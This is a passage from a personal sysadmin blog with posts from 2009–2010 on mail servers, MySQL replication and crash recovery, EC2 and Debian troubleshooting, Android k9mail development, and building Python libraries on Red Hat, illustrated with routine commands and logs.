Take BoltBus, unless you are leaving very late when BB doesn't run, leaving at peak hours and could not get an advance ticket, or have an origin/destination in the Lower East Side and would like to avoid going through midtown. Take the Greyhound if you have to leave really late or want a nicer ride when Bolt Bus is sold out. Take the Chinatown bus if you need to make a last-minute trip. Take the Regional if you want to avoid traffic, take the Acela if you want to go a bit faster. Fly if you need to minimize travel time and don't mind the price and the 90 minutes or so when you have to be offline.

Great moments in sysadminning

2010-02-28T09:50:00.000-08:00

Folks, I finally retired my last SMTP server. I no longer run a server that accepts mail on port 25 (or port 527, or port 465) anywhere on the Internet. Forwarding my mail is now Someone Else's Responsibility.*

I had switched to Google Apps Premium for my business mail long ago, but continued to run my personal mail through an SMTP server. Comcast, for some reason, required me to use SMTP AUTH, and getting the password seemed like a major bother.

I discovered today that I do not actually have to use SMTP AUTH to connect to smtp.comcast.net (which makes perfect sense; Comcast shouldn't have a problem determining if mail was coming from its customers.) So I switched nullmailer to point to smtp.comcast.net.

The droid was a bit trickier. Apparently, Gmail will act as your SMTP server if you ask it nicely. Of course, I'm sure Google will keep a copy of all of your outgoing mail forever and use it to build a privacy-invading psychological profile of you, but whatever. My Droid's keyboard is too small to write anything that interesting, anyway. One problem: after I entered the settings into k9mail, k9mail was still sending mail through the old server. I shut down the old server and rebooted the phone; that seemed to fix it.

* I have high hopes, although I'm of course half-expecting to see dropped messages, long-delayed messages, weeks-long email droughts, and all of the other problems. I think the only real solution is to give up on computers altogether.

signature fun

2010-02-25T19:21:00.000-08:00

I used to wonder why smartphones inserted advertisements at the end of email messages: "Sent from my Motorola Q.", "Sent from my iPhone.", "Sent from my Verizon Wireless Blackberry." "Sent from my Palm Pre." Then I realized that it was an apology. One would look less curt with a short message or sloppy with a message with typos. Some correspondants even took took the opportunity for humor: "Sent from a mobile device with a small, cramped keyboard." "Message by E---. Typos by iPhone."

Could one take advantage of these signatures? Perhaps, by adding "Sent from a mobile device." to _all_ of one's emails, one could avoid ever seeming curt or sloppy. One would also seem exceptionally busy (for busy people are always handling email on the road) but still dedicated (for, when one does send a long message with lots of links, the recipient will be thrilled that one took so long to tap it out on an iPhone.)

Joe

--
Sent from a real computer.

The best part about Linux: you get to be your own sysadmin!

2010-02-10T13:10:00.000-08:00

Some time back, Firefox started trying to open PDFs in the GNU Image Manipulation Program, which is a dreadful way to read PDFs. The only alternative was to save the PDF and open it from the command line -- clicking it in the downloads list also launched the photo editor.

This is apparently a known Debian bug: see this report. To fix it, edit /usr/share/applications/mimeinfo.cache and make sure that the line for application/pdf does not include any image editors.

Convenience is worth a thousand megapixels

2010-02-05T12:49:00.001-08:00

I was just looking through my camera's memory card. I realized how much easier fancy phones can make sending photos.

"Old" workflow:

1) Plug memory card directly into Thinkpad T61 (no USB dongle, fortunately). Check dmesg to
see if it recognized it. Good. I can save 5 min. fiddly with lsmod and rmmod and modprobe.

2) sudo mount /dev/mmcblk0p1 /mnt/tmp/

3) cd /mnt/tmp/DCIM/102_FUJI

4) Look around with gqview. What do I call these? Ok, how about "lots".

5) mv /mnt/tmp/DCIM/102_FUJI ~/lots1-raw
Do something else while that runs. I will eventually copy this to another server and chattr +i.

6) Oops. I wasn't root, so the screen filled up with
mv: cannot remove `102_FUJI/DSCF2313.JPG': Permission denied

7) Set paranoia bit. Do the mv again as root, then diff the folders. They're the same. Throw away the second folder.

8) Look for photos I like with gqview. Find one I'd like to email.

9) It's 5MB, so cut it down with a photo-editing program.

10) My mail runs on another computer, so scp photo.jpg other-computer:

11) Launch mutt.

12) Create a new message. Type a subject. Attach the photo. Send.

13) Throw away photo.jpg on other-computer.

14) Repeat from step 8 for any other photos I'd like to send.

Final score: Five different programs (counting bash and ssh), many mouse-keyboard switches, lots of typing, many seconds of waiting.

"New" workflow, with the Droid:

1) Take photo

2) Press the tiny thumbnail of the just-taken photo

3) press "share"

4) press "k9mail"

5) Start typing an email address. k9mail guesses the rest. Fill in the subject, press send.

6) Check every so often to see if the message went through.

Final score: Two programs, one switch (screen->keyboard), almost no waiting.

SSL and mysql

2010-02-01T16:50:00.000-08:00

When setting up SSL replication with MySQL using a self-signed certificate, be sure that:

The CA certificate is world-readable on the server, and
...that you copy the CA cert to the client and specify the path to the cert file with --ssl-ca=/path/to/cacert.pem.

If you do not, you may get the cryptic "ERROR 1045 (28000): Access denied for user 'user'@'host' (using password: YES)", rather than the more specific "ERROR 2026 (HY000): SSL connection error."

Starting a replication slave will look something like this:

change master to master_host='master.example.com', master_user='sslrepl', master_password='password', master_log_file='mysql-bin.000009', master_log_pos=12345, master_ssl=1, MASTER_SSL_CA='/etc/mysql/certs/ca-cert.pem';

The joys of EC2 and Debian

2010-01-29T18:44:00.000-08:00

I'm setting up a new EC2 machine to be a MySQL replication slave. Unfortunately, I'm running in to some issues.

I started by creating a EBS volume to hold the database using the AWS management console. Then I attached it to the new system (ami-daf615b3, from alestic) used fdisk to make a partition, sdf1.

I created an XFS filesystem, just like I have before, using mkfs.xfs /dev/sdf1. That worked. But when I tried to mount it, I got this message:

# mount /dev/sdf1 /vol/
mount: wrong fs type, bad option, bad superblock on /dev/sdf1,
missing codepage or helper program, or other error
In some cases useful info is found in syslog - try
dmesg | tail or so

Dmes showed the rather unenlightening:

XFS: bad version
XFS: SB validate failed

This thread suggested that kernel 2.6.16 and xfsprogs 2.9.6 were incompatible. I was running kernel 2.6.21 and xfsprogs 3.1.0, but I tried the workaround described therein: running mkfs.xfs with the option lazy-count=0. According to the documentation, that may cause a performance hit. Oh well. I recreated the FS and tried mounting it again.

domU-12-31-39-02-F5-F4:/home/jdb# mount /dev/sdf1 /vol/
domU-12-31-39-02-F5-F4:/home/jdb#
Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:------------[ cut here ]------------

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:invalid opcode: 0000 [#1]

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:SMP

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:CPU: 0

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:EIP: 0061:[] Tainted: GF VLI

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:EFLAGS: 00210282 (2.6.21.7-2.fc8xen-ec2-v1.0 #2)

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:EIP is at xen_pgd_pin+0x54/0x5e

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:eax: ffffffea ebx: c1439ef8 ecx: 00000001 edx: 00000000

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:esi: 00007ff0 edi: 00000000 ebp: c19d18f0 esp: c1439ef8

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:ds: 007b es: 007b fs: 00d8 gs: 0033 ss: 0069

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:Process udevd (pid: 254, ti=c1439000 task=c1415670 task.ti=c1439000)

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:Stack: 00000002 0007e953 2cf6a000 0059ed40 00000000 c101816d c1bf2300 c1018196

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel: c14f82dc c102250e c14f88d0 c1439fb8 c106e111 c1439fb8 bf8a8aa4 01200011

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel: 00000000 c19d18f0 c1bf2300 c1346640 c14f82e8 c14f82fc c14f82f8 c1bf2300

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:Call Trace:

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel: [] __pgd_pin+0x2f/0x3c

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel: [] mm_pin+0x1c/0x23

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel: [] copy_process+0xac3/0x10bc

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel: [] kmem_cache_alloc+0x23/0x98

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel: [] do_fork+0x51/0x13a

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel: [] mntput_no_expire+0x11/0x6a

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel: [] sys_clone+0x36/0x3b

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel: [] syscall_call+0x7/0xb

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel: =======================

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:Code: eb fe a1 24 c2 38 c1 8b 14 90 81 e2 ff ff ff 7f 89 54 24 04 89 e3 b9 01 00 00 00 31 d2 be f0 7f 00 00 e8 36 54 fe ff 85 c0 79 04 <0f> 0b eb fe 83 c4 0c 5b 5e c3 56 89 c2 53 83 ec 0c c1 ea 0c 80

Message from syslogd@domU-12-31-39-02-F5-F4 at Jan 30 02:42:47 ...
kernel:EIP: [] xen_pgd_pin+0x54/0x5e SS:ESP 0069:c1439ef8

Now a kernel panic is not exactly a good sign. Maybe I'll try a non-alestic image next. Unfortunately, there are no other quasi-official Debian images that I know of. But there are Ubuntu images produced by Canonical. I tried this one, and so far, the filesystem has worked.

Droid part 3: h4x0ring k9mail

2010-01-21T21:56:00.000-08:00

I wanted to add an "Archive" button and a "Flag as Spam" button to k9mail. I'm not the first person to ask for this feature. Now, if you don't mind patching your copy, you can have it, too. (The patch is attached to comment #17 under the link above.)

Developing on Android is remarkably easy. After I installed the SDK, I created an emulator virtual device with ./android create avd -n fake_droid -t 5 and launched it with ./emulator -avd fake_droid. Building k9mail is also easy: after you check out the source from Google Code, create a file at the root of the working copy called local.properties and add the property sdk-location=/path/to/android/sdk. Now you can build it with ant debug.

You can install the new package with ./adb -d install -r ~/path/to/k9mail-read-only/bin/K9-debug.apk. Change the -e to an -d to install on the device instead of the emulator. Watch for problems with ./adb -d/-e logcat. The -r performs a reinstallation, so you won't lose your settings from run to run. (That gets old fast.) You might want to set up your own IMAP server for testing; if you do, I recommend dovecot.

There are a couple of gotchas. I found that if I messed around with any of the xml files in such a way that R.java (a generated file indexing certain constants) was modified, I had to run ant clean before ant debug to make sure that the old mapping wasn't used (if I didn't, I got buttons that said one thing and did another). I couldn't figure out how to transfer my settings from the canonical version to my hacked version, so I lost them.

Droid part 2: k9mail

2010-01-20T17:51:00.000-08:00

Some notes on using k9mail, a feature-rich Android email client:

I run my own SMTP server for personal mail (for business mail, I use Google Apps). Until now, because I sent all email from a single machine, I had the SMTP server use IP-based relay control. Now that the Droid can connect from random WiFi networks or from random Verizon IP addresses, I couldn't do that. I switched on SMTP AUTH and TLS. This guide shows how to do that on Debian.
Some networks, including one belonging to a certain very ancient educational institution in the eastern U.S., block port 25. (Presumably, to prevent spam.) To avoid that, I configured my SMTP server to accept traffic on an alternate port. This post shows how. Note that you have to add the option mentioned in the first comment, as far as I can tell. (Basically, edit /etc/default/exim4, setting SMTPLISTENEROPTIONS='-oX 99999:25 -oP /var/run/exim4/exim4.pid', where 99999 is the other port number.
If you have lots of folders, use k9mail's class system to filter out the ones you don't want to see/check.
Dovecot supports IMAP IDLE, so you might as well turn on PUSH mail. (I have yet to see how fast/power-hungry this is.)

Six hours with the Droid

2010-01-18T02:13:00.000-08:00

My Motorola Maxx Ve stopped working roughly two weeks after I hit the Verizon New Every Two threshhold (cleverly positioned four months before my contract renewal). I went to the local Verizon store to decide between limping along with a dumb phone (which has been fine for me for the past six years) or upgrading to one of those newfangled smartphones.

After learning that the full retail price (what I would pay if I didn't want to renew my contract) of the dumbest dumb phone was about $150, I decided to buy the Motorola Droid, which came out to $212 (supposedly $99, after a mail-in rebate which I hope will not be the scam that mail-in rebates have often been for me, and actually $112, because Verizon won't send you credit for the tax that you paid at the purchase on the $99 that they will supposedly send as a rebate.)

I'm paying an extra $30/mo. for data, but I can hopefully drop the $10/mo. that I'm paying for 500 texts (99% of which are sysadmin-related) and switch to email, so I can stop worrying about text overages (last month, the systems I administer sent me >800 text messages).

Some first impressions:

The phone is really cool. L. really liked it.
The Verizon people kindly uploaded my contacts from my old phone, but they promptly vanished when I entered my Google Account information. Strangely, the phone still knew about them -- L.'s name came up when she called -- but they weren't on the list. This thread contains the fix: press the hardware "home" button, "phone", "contacts", the hardware "context menu" button, "import/export", "import from SD card". That saved me a trip back to the store. But now Google has all of my phone numbers. YOU WILL BE ASSIMILATED!
The Google Directions/GPS navigation feature lacks the "avoid tolls" feature of the PC version. Google suggests that users vote for that feature. I asked the device to route me from South Station to my home in Cambridge; it suggested taking the turnpike. I took I-93 to Storrow Drive instead. I sort-of expected it to dynamically update my route with the new information, but it didn't.
The keyboard is fiddly but I'm getting used to it. Lack of meta/ctrl/esc may be a big problem.
ConnectBot looks really cool. I was able to open Mutt and read mail. ConnectBot even implemented "control" as a DPAD click and escape as a DPAD double-click. That just leaves meta...although one can use Control in a pinch.
It's not obvious how to get your newly-generated public key out of ConnectBot. The trick is to long-press the key, from which you can copy it, then use "menu" in an SSH session to paste it.
Why is there no normal-sounding ringtone? Come on.
I started adding things to my calendar. One problem: the old phone, in addition to not holding a charge, had only two working buttons: off/on, and volume up/down. I used this post to pull the data out, but I never did decode the date format. I just ran strings on the calendar data file and figured out what events I have scheduled, but I'll have to use an out-of-band method to figure out when.
Update, after 24 hours: There is no analogue to Gmail's "Show quoted text". If Gmail elides a piece of your message because, there is no way to see it on the Droid, short of also adding the Gmail account as an IMAP account and looking for it.

Things I would like. Maybe I'll even write them:

A simple "monitor" application that periodically fetches a URL and emits a really loud alarm if the page fails to match certain conditions.
A "pedometer/diary" app that notes my GPS position every 5-10 minutes or so; more frequently if the last fix indicated that I was moving. Maybe it would even support voice annotation.
An app that recognizes arbitrary barcodes. The ones I've tried didn't recognize the codes on the various manuals in the Droid package.
A push-to-talk application with message queuing and an adjustable upper bound defaulting to :15 seconds. (Here's one.)

Why you should never own a computer, part 598

2010-01-10T18:11:00.000-08:00

NSTAR has some sort of power outage. My lights go off for a few minutes. L. asks if my computer will be OK. Of course, I say, it will reboot automatically. Sure enough, when the lights come back on, its power light comes back on.
Later that evening, I try to log in to check my mail. But I'm getting "no route to host." Odd, did it forget its static IP? I turn on the monitor. "Check signal cable." I press a few buttons on the keyboard. Nothing. Reboot. Nothing. The num-lock light doesn't toggle when I press "num lock", which suggests that the motherboard is blown. But I'm using a funky USB keyboard. I try a PS/2 keyboard. Nothing. I try plugging the monitor into my laptop to see if it's a signal cable problem. Nothing. The mobo is probably blown.
Fortunately, I have a second computer with better specs gathering dust. I pull the hard disks from PC #1 and put them in PC #2. PC #1 was ATA-only, PC #2 had SATA and ATA. I plug the two ATA disks into the ATA port. I no longer remember which one had the boot volume. I guess the smaller one and make it the master and make the larger one the slave. I boot.
The boot sequence stops just before GRUB would normally load. Oops. Are the hard disks fried, too?
I plug in the SATA drive and boot from that, successfully. I mount the two hard disks without incident. I apparently had the boot volume wrong: it was on the larger disk. Ah, no wonder. Maybe it only tries to boot from the master. I shut down, unplug the SATA, and plug in just the larger drive as the master. No slave. GRUB loads. Good.
I swap the drives' positions (cable geometry prevents me from simply exchanging the connectors) and make the larger drive the master and the smaller drive the slave. But when I boot, the boot sequence still sticks before GRUB.
Disconnect the slave. Boot works.
Bizarre. I have no idea why this is happening. Fortunately, I have an ATA card in the old machine. I plug that in, and connect the slave to it. GRUB loads.
Now, the boot sequence halts on "unknown USB device." That's odd. I disconnect the keyboard and reboot. As I suspected, that was just the last error message. The actual error message that signalled the halt was that the system was waiting for the root device. For reasons I do not fully understand, the root device was hda1 on the old machine and is sda1 on this machine. The next time Grub loaded, I hit 'e' to edit the command line and changed root=/dev/hda1 to root=/dev/sda1.
Now the system booted, but halted with a complaint about being unable to run fsck. Probably had something to do with all of the /etc/fstab entries being wrong. It asked me to enter the root password, which I thought I knew but apparently did not. I hit Control-D to skip it, wondering if it would mount / read-only and make it impossible for me to change the password without booting from CD. (I went looking for one, without success.) Fortunately, it mounted root read-write, so I changed the password, changed all entries in /etc/fstab from sda to hda (and from sdc to hde, for the second drive. dmesg had indicated that it was hde.) I also did the same with /boot/grub/menu.lst.
When I ran grub-install, grub complained that it didn't recognize /dev/hda. I had forgotten to update /boot/grub/device.map, which I then changed from sda to hda. Now, grub-install actually worked.
Reboot again. Now, I still can't ssh into the machine. What the heck? I checked dmesg and saw "udev: renamed network interface eth0 to eth2". I have no idea why udev was randomly renaming network devices, but I went along with it. I edited /etc/network/interfaces and changed eth0 to eth2. After running /etc/init.d/networking restart a few times, the interface actually came up.

The short moral of the story is to buy a UPS, or, failing that, have replacements for everything. The real moral of the story is to get someone else to handle your hardware.

We are living in the future

2009-11-30T18:32:00.000-08:00

I just bought a 1.5TB hard disk for $99. (It was a Seagate Barracuda from MicroCenter in Cambridge; I bought it on Black Friday*.)

I still remember when hard disks were over $1 a megabyte.

* I understand why "Black Friday" is called "Black Friday." Retailers are "in the black". But why are the days of stock-market crashes also called "black"? Wouldn't "red" be more appropriate? C.f. Black Monday, Black Tuesday.

A problem with no solution

2009-11-28T21:07:00.001-08:00

MySQL has recovered without a hiccup from every crash I've thrown at it, until this Thanksgiving when I started a long-running process and inadvertently knocked my laptop's power cord out of its socket before I went to bed. When I woke up, the computer was off, and the database refused to start. The error message was something I hope never to see on a production system:


091128 22:56:37  InnoDB: Database was not shut down normally!
InnoDB: Starting crash recovery.
InnoDB: Reading tablespace information from the .ibd files...
InnoDB: Restoring possible half-written data pages from the doublewrite
InnoDB: buffer...
InnoDB: Doing recovery: scanned up to log sequence number 21 3049941951
InnoDB: 1 transaction(s) which must be rolled back or cleaned up
InnoDB: in total 892204 row operations to undo
InnoDB: Trx id counter is 0 705024
091128 22:56:38  InnoDB: Starting an apply batch of log records to the database...
InnoDB: Progress in percents: 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 InnoDB: Database page corruption on disk or a failed
InnoDB: file read of page 1472705.
InnoDB: You may have to recover from a backup.
091128 22:56:38  InnoDB: Page dump in ascii and hex (16384 bytes):
len 16384; hex (page dump snipped for brevity)
091128 22:56:38  InnoDB: Page checksum 125329116, prior-to-4.0.14-form checksum 707139577
InnoDB: stored checksum 431743609, prior-to-4.0.14-form stored checksum 742971059
InnoDB: Page lsn 21 3049098859, low 4 bytes of lsn at page end 3049675044
InnoDB: Page number (if stored to page already) 1472705,
InnoDB: space id (if created with >= MySQL-4.1.1 and stored already) 0
InnoDB: Page may be an index page where index id is 0 636
InnoDB: Database page corruption on disk or a failed
InnoDB: Database page corruption on disk or a failed
InnoDB: file read of page 1472705.
InnoDB: You may have to recover from a backup.
InnoDB: It is also possible that your operating
InnoDB: system has corrupted its own file cache
InnoDB: and rebooting your computer removes the
InnoDB: error.
InnoDB: If the corrupt page is an index page
InnoDB: you can also try to fix the corruption
InnoDB: by dumping, dropping, and reimporting
InnoDB: the corrupt table. You can use CHECK
InnoDB: TABLE to scan your table for corruption.
InnoDB: See also http://dev.mysql.com/doc/refman/5.1/en/forcing-recovery.html
InnoDB: about forcing recovery.

Now, that was bad, but it wasn't a total disaster. I thought I'd just set innodb-force-recovery and drop the tables that the process had been editing. (The process was reading a very large log table and to turn it into a summary table.) Except that what followed foreclosed that possibility:


091128 22:56:38 - mysqld got signal 11 ;
This could be because you hit a bug. It is also possible that this binary
or one of the libraries it was linked against is corrupt, improperly built,
or misconfigured. This error can also be caused by malfunctioning hardware.
We will try our best to scrape up some info that will hopefully help diagnose
the problem, but since we have already crashed, something is definitely wrong
and this may fail.

key_buffer_size=8384512
read_buffer_size=131072
max_used_connections=0
max_threads=151
threads_connected=0
It is possible that mysqld could use up to
key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 337721 K
bytes of memory
Hope that's ok; if not, decrease some variables in the equation.

thd: 0x0
Attempting backtrace. You can use the following information to find out
where mysqld died. If you see no messages after this, something went
terribly wrong...
stack_bottom = (nil) thread_stack 0x20000
libexec/mysqld(my_print_stacktrace+0x21)[0x84f1691]
libexec/mysqld(handle_segfault+0x381)[0x81edbc1]
[0xb7f26400]
libexec/mysqld(page_cur_parse_insert_rec+0x48b)[0x842522b]
libexec/mysqld[0x8412ca5]
libexec/mysqld(recv_recover_page+0x44b)[0x84148db]
libexec/mysqld(buf_page_io_complete+0x5e1)[0x83d5761]
libexec/mysqld(fil_aio_wait+0xde)[0x83eccde]
libexec/mysqld[0x84527b8]
/lib/i686/cmov/libpthread.so.0[0xb7ef87f5]
/lib/i686/cmov/libc.so.6(clone+0x5e)[0xb7df105e]
The manual page at http://dev.mysql.com/doc/mysql/en/crashing.html contains
information that should help you find out what is causing the crash.

I updated to the latest stable MySQL from mysql.com, built it with


CC=gcc CFLAGS="-O2 -g" CXX=gcc CXXFLAGS="-O2 -g -felide-constructors     -fno-exceptions -fno-rtti" ./configure --prefix=/usr/local/mysql     --with-debug=full --with-extra-charsets=complex  --with-plugins=innobase && make

, and ran it, to no avail.

As a postmortem, I whipped out GDB and did a trace, which I posted with a bug report. I don't know if anything will come of that, but I assume any segfault is considered to be a bug.

Today's lesson: have a backup.

Update: The MySQL people asked for the files. Alas, by that point, I had already deleted them.

Scala == EPIC WIN

2009-11-25T23:46:00.000-08:00

Find an excuse, any excuse, to try Scala. My excuse was that the (otherwise awesome) Python xlwt Excel-writing library didn't support hiding cells and took a minute and a half to process a huge spreadsheet. Apache produces the POI library, which supports hiding. It's also a lot faster.

To save myself the agony of writing a Java program, I tried Scala, which compiles to JVM bytecodes and interoperates with any Java library. It also has a ridiculouly good XML integration -- there's a lightweight (non-DOM) XPath-like API for processing XML. You can apparently even paste arbitrary XML directly into your program -- the parser is smart enough to turn it into Scala objects.

Scala has been criticized by no less than Guido van Rossum for having a too-complex type system. He's probably right -- the type system is really complex. It's also more verbose than ideal: unlike O'Caml, you have to declare the type of every function parameter. But for my purpose, using a Java library without actually having to type

ExcessivelyLongClassTypeName excessivelyLongObject = new ExcessivelyLongClassTypeName();

a zillion times, it was great. It didn't take long to take the XML dump of my data and shove it into an Excel spreadsheet with POI.

One gotcha in POI: if you make a reference to a cell on another sheet before that sheet exists, POI will fail silently, whereas xlwt would throw an exception. For instance, if you entered the formula "='Sheet 2'!D3" before you created Sheet 2, the output cell in the .xls will contain =$#REF!.D3 instead of what you entered. You can avoid this by creating all of the sheets at once and filling them in later. (Note that you can't use the setSheetOrder() call to reorder sheets after you create them; the sheet references get silently b0rked. I'm surprised this bug hadn't been caught before; I just reported it.) Otherwise, POI is epic win, too.

(Also, you know how Joel Spolsky said that it's basically impossible to read or write Office formats, so you might as well just give up and use COM? I'm not so sure.)

How to shoot yourself in the foot, part 391

2009-11-19T16:31:00.000-08:00

Very early this morning, I noticed that the oom-killer, the Linux kernel function that attempts to free up memory when it runs out by killing processes, had killed my database. This wasn't a huge problem, because the database is durable in face of unexpected termination (or so it says on the packaging), and the data is replicated in several different ways anyway. But it was still annoying, because it meant that I had to manually restart the update process that had been running when it was killed.

Later that morning, the oom-killer woke up and killed the database again. I took a careful look at the system and noticed that it had no swap file! That was a bit odd.

I googled a bit, and found a blog debate about swap files, the oom-killer, and MySQL. One guy contended that it was better to just let the oom-killer work, because if a computer started thrashing, you might be completely locked out, unable to even ssh in to fix things. Better to keep the system running and rely on InnoDB's inherent safety against crashes.

Bosh, I thought, what a silly idea. Instead of gracefully slowing down as it thrashed, a single memory leak on a swapless system would immediately trigger the oom-killer.

So I merrily added a swap file to the system. I did not want to shut anything down to repartition and add a swap partition, so I swallowed the performance hit (hey, it's never supposed to swap, anyway, right?) and added a file on the root filesystem.

# dd if=/dev/zero of=/swap.file bs=1M count=2048
# mkswap /swap.file
# echo "/swap.file swap swap defaults 0 0" >> /etc/fstab
# swapon -a

Many hours later, my phone started chirping. Every time something goes wrong, I get a text message. When a lot of things go wrong (for instance, the server is completely inaccessible), I get a lot of text messages. I was getting a lot of text messages.

Of course, the server was completely inaccessible. Ping worked just fine, but ssh hung and went nowhere.

Pwned.

I flipped on the EC2 monitoring process (1.5 cents an hour) to see what was going on. Strangely, while the CPU was pegged at 100%, the disk read and write loads were near-zero, which made me wonder if something else was amiss. I waited for perhaps twenty minutes, then I hit the reboot switch.

Nothing happened.

Or rather, the instance went from "rebooting" back to "running" much more quickly than I would have expected. I still couldn't connect, but I could ping.

I tried another reboot. Then the pinging stopped.

Then it started again. I sshed in -- and I connected! Luckily, everything was as I'd left it -- the EBS volume remained mounted, the database came back online. Even the swapfile came back up. When I refreshed the monitor, I saw this:

The middle of the y-axis appears to be 1.0 x 10^19 bytes, which I suspect is an error of some sort.

Then suddenly my terminal stopped echoing. Had the system run out of memory already? I checked the system log through the Amazon management console -- not obviously so. There were no new oom-killer messages. Then I realized that this was the second reboot. A few minutes later, I could ssh in again -- to the freshly booted machine. Oops.

I wasted no time in chopping the swap down to 64 megabytes.

UPDATE: I found the cause of the OOM. I left a single expression out of a WHERE clause, turning a simple join into the Cartesian product of two very large tables. Oops.

lxml on RHEL

2009-10-29T22:55:00.000-07:00

Screen-scraping again. I opted for lxml instead of BeautifulSoup because lxml is faster and BeautifulSoup appears to be on the way out. (Its author explains: "I no longer enjoy working on Beautiful Soup.")

lxml is easy to install on Debian; you just say "apt-get install python-lxml". Red Hat is another story.

I haven't had root access to a Red Hat box since 2002 or so, when my TP i1482 laptop died* and I installed Debian on its replacement. The screen-scraper needs to run on a Red Hat box.

* When the backlight failed and I couldn't get a replacement to work properly, taking the housing off the screen and shining a bright light through it made it sort-of usable. An external monitor was even better. Then, the power supply or possibly the mobo started to fail and it took many tries to get it to boot. Unfortunately, my too-rapid power cycling blew the hard disk. At that point, I retired it.

Unfortunately, the box's yum repositories did not contain an lxml package. lxml depends on versions of libxml2 and libxslt more recent than those in the repository, so I had to install those before I could install lxml from source.

I tried binary RPMs of libxml2 and libxslt, but I think they depended on libraries newer than those in the yum repository:


# rpm -i libxml2-2.7.6-1.x86_64.rpm
warning: libxml2-2.7.6-1.x86_64.rpm: Header V3 DSA signature: NOKEY, key ID de95bc1f
error: Failed dependencies:
       libc.so.6(GLIBC_2.7)(64bit) is needed by libxml2-2.7.6-1.x86_64
       rpmlib(FileDigests) <= 4.6.0-1 is needed by libxml2-2.7.6-1.x86_64

Then I tried the source packages:


# rpmbuild --rebuild libxml2-2.7.6-1.src.rpm
Installing libxml2-2.7.6-1.src.rpm
warning: InstallSourcePackage: Header V3 DSA signature: NOKEY, key ID de95bc1f
warning: user veillard does not exist - using root
error: unpacking of archive failed on file /usr/src/redhat/SOURCES/libxml2-2.7.6.tar.gz;4aea24a1: cpio: MD5 sum mismatch
error: libxml2-2.7.6-1.src.rpm cannot be installed

Googling this error did not reveal anything useful, so I elected to install both packages from source. Fortunately, this wasn't too complicated. Here's a cleaned-up version of what I did.


(cd $HOME; mkdir mylib) # don't clobber the rpm-installed versions
(cd libxml2-2.7.6; ./configure  --prefix=$HOME/mylib ; make ; make install)
(cd libxslt-1.1.26; ./configure --prefix=$HOME/mylib/ --with-libxml-prefix=$HOME/mylib/ ; make ; make install)
(cd lxml-2.2.2; python2.6 setup.py build   --with-xslt-config=$HOME/mylib/bin/xslt-config  --with-xml2-config=$HOME/mylib/bin/xml2-config)

Invoke Python as follows, and lxml should work:


env LD_LIBRARY_PATH=$HOME/mylib/lib/ PYTHONPATH=$HOME/lxml-2.2.2/build/lib.linux-x86_64-2.6/  python2.6

Transit

2009-09-28T20:25:00.000-07:00

Continental Airlines Flight CO 3160 on a bus in coach class

I'm wondering if I can get the computer to suggest something even weirder.

Disks are slow

2009-09-24T21:17:00.000-07:00

I have a simple SQL query. It does an inner join of a small (1000 row) table against three or four other tables. The indices are all properly configured, so looking up the joined rows should take close to constant time. But the query still took 30+ seconds.

Then I remembered: the other tables are huge. And disk seeks are really slow.

You can run hdparm -tT and learn that your disk can pull 150 MB/sec straight from the metal -- but that's _sequential_ access. Peter Norvig reminded budding programmers that seeks are four orders of magnitude slower than sequential fetches. You can download from this page a tiny C program that tells you how slow your disk really is. My vintage-2008 laptop can seek about 55 times a second.

In the above query, the joined tables were colossal and the joined rows widely separated, so every read took a seek. Even with O(1) lookup time, if the constant in front of the big O is about 18 ms, that's 18 seconds. Since the query joined several such tables, the actual duration was a few times that.

Since the data that this query interrogates change rarely, I can just cache the result. I wrote a little Python decorator for that. It uses cPickle, but could easily be adapted to use memcached. Note that this function doesn't check for staleness. It expects an external process to purge stale cache entries.

def diskcache_wrap(fcn):
   """ wrap this function in a diskcache access """
   def wrapper(*args, **kwargs):
       " the wrapper iteself "
       hashl = hashlib.sha1()
       if args:
           hashl.update(cPickle.dumps(args))
       if kwargs:
           hashl.update(cPickle.dumps(kwargs))
       digest = hashl.hexdigest()
       path = os.path.join(CACHEDIR, "wrap-%s-%s" % (fcn.__name__, digest))
       if os.path.exists(path):
           try:
               return cPickle.load(open(path))
           except (cPickle.UnpicklingError, EOFError, IOError, ValueError):
               os.unlink(path)  # probably broken, trash it
       result = fcn(*args, **kwargs)
       if not os.path.exists(CACHEDIR):
           os.mkdir(CACHEDIR)
       cPickle.dump(result, open(path,'w'))
       return result
   return wrapper

Mysql replication confusion

2009-09-23T16:24:00.000-07:00

Mysql's replication-setup instructions boil down to this:

- Stop all activity on the master with FLUSH TABLES WITH READ LOCK;
